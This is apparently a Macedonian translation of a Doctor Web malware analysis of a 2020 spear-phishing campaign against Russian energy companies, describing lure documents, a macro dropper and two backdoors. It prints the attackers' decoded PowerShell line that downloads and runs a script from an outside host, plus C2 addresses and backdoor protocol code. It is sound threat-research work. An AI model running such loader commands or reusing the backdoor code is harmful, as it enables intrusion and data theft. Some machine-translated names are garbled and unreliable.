Истражуваме насочен шпионски напад врз рускиот комплекс за гориво и енергија

Нашето искуство во истражувањето на инциденти со компјутерска безбедност покажува дека е-поштата е сè уште еден од најчестите канали што ги користат напаѓачите за првично да навлезат во нападната мрежна инфраструктура. Една невнимателна акција со сомнително (или не толку сомнително) писмо станува влезна точка за понатамошна инфекција, поради што сајбер-криминалците активно користат методи на социјален инженеринг, иако со различен степен на успех.

Во овој пост сакаме да зборуваме за нашата неодамнешна истрага за спам-кампањата насочена кон голем број претпријатија во рускиот комплекс за гориво и енергија. Сите напади го следеа истото сценарио користејќи лажни е-пошта, и се чинеше дека никој не вложил многу напор во текстуалната содржина на овие пораки.

Разузнавачка служба

Сè започна на крајот на април 2020 година, кога аналитичарите на вирусот Doctor Web открија спам кампања во која хакерите испратија ажуриран телефонски именик до вработените во голем број претпријатија во рускиот комплекс за гориво и енергија. Се разбира, ова не беше едноставно покажување на загриженост, бидејќи директориумот не беше реален, а документите .docx преземаа две слики од далечински ресурси.

Еден од нив беше преземен на компјутерот на корисникот од серверот news[.]zannews[.]com. Вреди да се одбележи дека името на доменот е слично на доменот на антикорупцискиот медиумски центар на Казахстан - zannews[.]kz. Од друга страна, користениот домен веднаш потсетуваше на друга кампања од 2015 година позната како TOPNEWS, која користеше задна врата на ICEFOG и имаше домени за контрола на тројанците со поднизата „вести“ во нивните имиња. Друга интересна карактеристика беше тоа што при испраќање е-пошта до различни примачи, барањата за преземање слика користеа или различни параметри за барање или единствени имиња на слики.

Сметаме дека ова е направено со цел да се соберат информации за да се идентификува „сигурен“ примач, на кој потоа ќе му се гарантира дека ќе го отвори писмото во вистинско време. Протоколот SMB се користеше за преземање на сликата од вториот сервер, што може да се направи за да се соберат хашовите на NetNTLM од компјутерите на вработените кои го отвориле примениот документ.

И еве го самото писмо со лажниот директориум:

Во јуни оваа година, хакерите почнаа да користат ново име на домен, sports[.]manhajnews[.]com за да поставуваат слики. Анализата покажа дека поддомените на manhajnews[.]com се користат за испраќање спам најмалку од септември 2019 година. Една од целите на оваа кампања беше голем руски универзитет.

Исто така, до јуни, организаторите на нападот излегоа со нов текст за нивните писма: овој пат документот содржеше информации за развојот на индустријата. Текстот на писмото јасно укажува дека неговиот автор или не бил мајчин јазик на рускиот јазик, или намерно создавал таков впечаток за себе. За жал, идеите за развој на индустријата, како и секогаш, се покажаа како само капак - документот повторно презеде две слики, додека серверот беше сменет во преземање[.]inklingpaper[.]com.

Следната иновација следеше во јули. Во обид да го заобиколат откривањето на малициозни документи од антивирусни програми, напаѓачите почнаа да користат документи на Microsoft Word шифрирани со лозинка. Во исто време, напаѓачите одлучија да користат класична техника на социјален инженеринг - известување за награда.

Текстот на апелот повторно е напишан во ист стил, што предизвика дополнителен сомнеж кај адресатот. Серверот за преземање на сликата исто така не се промени.

Забележете дека во сите случаи, електронските поштенски сандачиња регистрирани на домените пошта[.]ru и yandex[.]ru беа користени за испраќање писма.

Напад

До почетокот на септември 2020 година, дојде време за акција. Нашите аналитичари за вируси забележаа нов бран напади, во кои напаѓачите повторно испраќаа писма под изговор дека го ажурираат телефонскиот именик. Меѓутоа, овој пат прилогот содржеше злонамерно макро.

При отворањето на приложениот документ, макрото создаде две датотеки:

• VBS скрипта %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, која беше наменета да стартува сериска датотека;
• Самата сериска датотека %APPDATA%configstest.bat, која беше замаглена.

Суштината на неговата работа се сведува на лансирање на школка Powershell со одредени параметри. Параметрите предадени на школка се декодираат во команди:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Како што следува од презентираните команди, доменот од кој се презема товарот е повторно маскиран како сајт за вести. Едноставно натоварувач, чија единствена задача е да прими shellcode од серверот за команди и контрола и да го изврши. Успеавме да идентификуваме два типа задни врати што може да се инсталираат на компјутерот на жртвата.

BackDoor.Siggen2.3238

Првиот е BackDoor.Siggen2.3238 - нашите специјалисти не се сретнале порано, а исто така немаше споменување на оваа програма од други продавачи на антивируси.

Оваа програма е задна врата напишана во C++ и работи на 32-битни оперативни системи Виндоус.

BackDoor.Siggen2.3238 може да комуницира со серверот за управување со користење на два протоколи: HTTP и HTTPS. Тестираниот примерок го користи протоколот HTTPS. Следниот кориснички агент се користи во барањата до серверот:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Во овој случај, сите барања се испорачуваат со следниот сет на параметри:

%s;type=%s;length=%s;realdata=%send

каде што секоја линија %s соодветно се заменува со:

• ИД на заразениот компјутер,
• тип на барање што се испраќа,
• должина на податоци во полето за реални податоци,
• податоци.

Во фазата на собирање информации за инфицираниот систем, задна врата генерира линија како:

lan=%s;cmpname=%s;username=%s;version=%s;

каде што lan е IP адресата на заразениот компјутер, cmpname е името на компјутерот, корисничкото име е корисничкото име, верзијата е линијата 0.0.4.03.

Оваа информација со идентификаторот sysinfo се испраќа преку барање POST до контролниот сервер кој се наоѓа на https[:]//31.214[.]157.14/log.txt. Доколку како одговор BackDoor.Siggen2.3238 го прима сигналот HEART, врската се смета за успешна, а задната врата го започнува главниот циклус на комуникација со серверот.

Поцелосен опис на принципите на работа BackDoor.Siggen2.3238 е во нашата библиотека за вируси.

Задна врата.Whitebird.23

Втората програма е модификација на задна врата BackDoor.Whitebird, веќе позната нам од инцидентот со владина агенција во Казахстан. Оваа верзија е напишана во C++ и е дизајнирана да работи и на 32-битни и 64-битни оперативни системи Windows.

Како и повеќето програми од овој тип, Задна врата.Whitebird.23 дизајниран да воспостави шифрирана врска со контролниот сервер и неовластена контрола на заразен компјутер. Инсталиран во компромитиран систем со помош на капалка BackDoor.Siggen2.3244.

Примерокот што го испитавме беше злонамерна библиотека со два извезени:

• Google Play
• Тест.

На почетокот на својата работа, тој ја дешифрира конфигурацијата поврзана во куќиштето на задна врата користејќи алгоритам базиран на операцијата XOR со бајт 0x99. Конфигурацијата изгледа вака:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

За да се обезбеди постојано функционирање, задна врата ја менува вредноста наведена во полето Работно време конфигурации. Полето содржи 1440 бајти, кои ги земаат вредностите 0 или 1 и ја претставуваат секоја минута од секој час во денот. Создава посебна нишка за секој мрежен интерфејс што го слуша интерфејсот и бара пакети за авторизација на прокси-серверот од заразениот компјутер. Кога ќе се открие таков пакет, задна врата додава информации за прокси-серверот на својата листа. Дополнително, проверува присуство на прокси преку WinAPI InternetQueryOptionW.

Програмата ги проверува моменталните минути и час и ги споредува со податоците во полето Работно време конфигурации. Ако вредноста за соодветната минута од денот не е нула, тогаш се воспоставува врска со контролниот сервер.

Воспоставувањето врска со серверот симулира создавање на врска со користење на протоколот TLS верзија 1.0 помеѓу клиентот и серверот. Телото на задна врата содржи два бафери.

Првиот бафер го содржи пакетот TLS 1.0 Client Hello.

Вториот тампон содржи TLS 1.0 Client Key Exchange пакети со должина на клуч од 0x100 бајти, Change Cipher Spec, Encrypted Handshake Message.

Кога испраќате пакет Client Hello, задна врата запишува 4 бајти од тековното време и 28 бајти псевдо-случајни податоци во полето Client Random, пресметано на следниов начин:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Примениот пакет се испраќа до контролниот сервер. Одговорот (Server Hello пакет) проверува:

• усогласеност со протоколот TLS верзија 1.0;
• кореспонденција на временскиот печат (првите 4 бајти од полето за пакет со случајни податоци) назначен од клиентот до временскиот печат одреден од серверот;
• совпаѓање на првите 4 бајти по временскиот печат во полето Random Data на клиентот и серверот.

Во случај на наведените совпаѓања, задна врата подготвува пакет за размена на клучеви за клиент. За да го направите ова, го модифицира Јавниот клуч во пакетот Client Key Exchange, како и Encryption IV и Encryption Data во пакетот Encrypted Handshake Message.

Потоа, задна врата го прима пакетот од серверот за команди и контрола, проверува дали верзијата на протоколот TLS е 1.0 и потоа прифаќа уште 54 бајти (телото на пакетот). Ова го комплетира поставувањето на врската.

Поцелосен опис на принципите на работа Задна врата.Whitebird.23 е во нашата библиотека за вируси.

Заклучок и заклучоци

Анализата на документите, малициозниот софтвер и користената инфраструктура ни овозможува со сигурност да кажеме дека нападот бил подготвен од една од кинеските APT групи. Со оглед на функционалноста на задните врати кои се инсталирани на компјутерите на жртвите во случај на успешен напад, инфекцијата води, во најмала рака, до кражба на доверливи информации од компјутерите на нападнатите организации.

Покрај тоа, многу веројатно сценарио е инсталирање на специјализирани тројанци на локални сервери со посебна функција. Тоа може да бидат контролери на домени, сервери за пошта, интернет портали, итн. Како што можевме да видиме во примерот инцидент во Казахстан, ваквите сервери се од особен интерес за напаѓачите од различни причини.

Извор: www.habr.com